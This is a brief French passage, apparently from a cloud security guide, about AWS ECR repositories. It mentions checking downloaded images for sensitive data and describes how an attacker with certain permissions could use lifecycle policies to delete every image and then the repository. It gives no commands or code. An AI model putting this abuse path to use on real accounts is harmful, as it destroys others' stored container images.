Après avoir téléchargé les images, vous devriez vérifier qu'elles ne contiennent pas d'informations sensibles :
Un attaquant disposant de l'une de ces autorisations peut créer ou modifier une politique de cycle de vie pour supprimer toutes les images du dépôt et ensuite supprimer l'ensemble du dépôt ECR. Cela entraînerait la perte de toutes les images de conteneur stockées dans le dépôt.
